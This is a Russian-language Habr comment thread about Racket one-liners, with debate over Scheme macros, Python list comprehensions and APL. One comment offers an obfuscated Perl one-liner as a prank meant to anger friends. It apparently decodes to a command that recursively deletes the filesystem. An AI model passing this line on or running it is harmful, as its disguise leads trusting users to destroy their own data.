Комментарии 38
Чего? Друзья такого не поймут! Хоть это и не однострочник, но вот это их удивит точно 99-bottles-of-beer.net/language-perl-737.html
А вот этот пожалуй способен разозлить.
А то что привели Вы…
А вот этот пожалуй способен разозлить.
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
А то что привели Вы…
Не вижу ничего очень крутого. То что реально коротко — просто функции из стандартной библиотеки, а то что немного подлиннее на том же javascript'е будет примерно так же выглядеть.
В любом случае плюсую, функциональные языки — наше всё!
а зачем в
a = list([i * 2 for i in a])
вызывать list? [i * 2 for i in a]
— уже сам по себе дает на выходе списокa = list([i * 2 for i in a])
А зачем здесь list? Генератор списка и так возвращает список.
a = [i * 2 for i in a]
Что реально выделяет схему из большинства других языков, так это очень изящная макросистема и call/cc
А то что описано здесь — баловство, доступное первокурснику с LINQ. Никакого особенно «впечатления» не производит
А то что описано здесь — баловство, доступное первокурснику с LINQ. Никакого особенно «впечатления» не производит
> изящная макросистема
И бесполезная. Последний раз провозившись с ней два часа, сделал (require mzlib/defmacro) и написал макрос за десять минут.
Зато изящная, да. Схема вообще изящная.
И бесполезная. Последний раз провозившись с ней два часа, сделал (require mzlib/defmacro) и написал макрос за десять минут.
Зато изящная, да. Схема вообще изящная.
> И бесполезная
А вот ни фига. Я вообще смутно понимаю любовь к закату солнца вручную как самоцель. Ну вот low level разработчики гоняют байты для того, чтоб было быстрее/меньше по размеру. А зачем гонять вручную s-выражения в стиле define-macro/defmacro? Зачем ручная гигиена, если она нужна в подавляющем большинстве случаев и удобнее как раз ее вручную нарушать при необходимости? Какие преимущства это дает?
Как по мне, люди, предпочитающие defmacro-style макросы просто расписываются в своей неспособности понимать/создавать абстракции (в данном случае синтаксические).
С другой стороны, как же уже хочется нормальных макросов в мейнстриме (желательно нативном). Хотя бы и с ручным закатыванием солнца.
А вот ни фига. Я вообще смутно понимаю любовь к закату солнца вручную как самоцель. Ну вот low level разработчики гоняют байты для того, чтоб было быстрее/меньше по размеру. А зачем гонять вручную s-выражения в стиле define-macro/defmacro? Зачем ручная гигиена, если она нужна в подавляющем большинстве случаев и удобнее как раз ее вручную нарушать при необходимости? Какие преимущства это дает?
Как по мне, люди, предпочитающие defmacro-style макросы просто расписываются в своей неспособности понимать/создавать абстракции (в данном случае синтаксические).
С другой стороны, как же уже хочется нормальных макросов в мейнстриме (желательно нативном). Хотя бы и с ручным закатыванием солнца.
Люди, предпочитающие схемовые макросы просто расписываются в непонимании принципов дизайна ЯП. Встретилась задача где необходима другая система макросов — используйте другую систему макросов, например, с гигеной по-умолчанию. (В LoL есть пример реализации) В чём проблема? Высокоуровневая система однозначно хороша только если она не прячет от разработчика никакие возможности, как Java, или схемовые макросы. Более мощным языком является не тот в котором больше абстракций из коробки, а который позволяет проще и эффективнее реализовывать новые.
Что то да… Не впечатлило… Я привык к такому ходу мыслей на ruby
Все, конечно, поняли, что Racket — это некоторый диалект Lisp… но, имхо, стоило об этом написать до ката, нет?
По сути: все уже поняли, что диалекты Lisp, ML-языки и вообще ЯФП могут быть очень выразительными в некоторых задачах.
Ну и хотелось бы до ката узнавать, что за язык/среда такой — Racket? (грубо говоря — стоит за ним в википедию идти или нет).
По сути: все уже поняли, что диалекты Lisp, ML-языки и вообще ЯФП могут быть очень выразительными в некоторых задачах.
Ну и хотелось бы до ката узнавать, что за язык/среда такой — Racket? (грубо говоря — стоит за ним в википедию идти или нет).
Как-то грустно совсем… Даже сравнивать не хочется с теми решениями, что были на других языках. Явно не гольфить против perl и ruby.(golfscript не считаю интересным)
А как вот это ваше λ с клавиатуры набирать?
В APL подобные выражения выглядят эзотеричнее:
максимум — ⌈/ 3 5 88
фильтрация — d←5 6 7 8 9 ⋄ (d>6)/d
и т.п.
максимум — ⌈/ 3 5 88
фильтрация — d←5 6 7 8 9 ⋄ (d>6)/d
и т.п.
Ага, мне тоже сразу APL вспомнился после увиденной λ, ну как вспомнился, не программил конечно на нём, так книжку в детстве прочитал о нём — язык адский.
Обычный функциональный язык. Значки запоминаются гораздо лучше названий функций, которые зависят от пожеланий разработчика. Например максимум — max, maxof, maximum или ещё как нибудь. Да и порог вхождения у APL ооочень низкий. Мне хватило 20 рабочих дней, чтобы научиться разбирать готовый код.
Что-то никак, не то что на друзей, даже на меня не произвело впечатления.
Когда я вижу какие-нибудь bash или perl однострочники, вот это да думаю, впечатления, а тут нет.
Когда я вижу какие-нибудь bash или perl однострочники, вот это да думаю, впечатления, а тут нет.
ну, по идее — любую программу на Lisp и подобных ему языках можно написать в одну строку.
вопрос в том что в 99% случаев не стоит этого делать
вопрос в том что в 99% случаев не стоит этого делать
На меня эти строчки не произвели абсолютно никакого впечатления кроме WTF относительно синтаксиса.
Зарегистрируйтесь на Хабре, чтобы оставить комментарий
10 «однострочников» на Racket, которые произведут впечатление на ваших друзей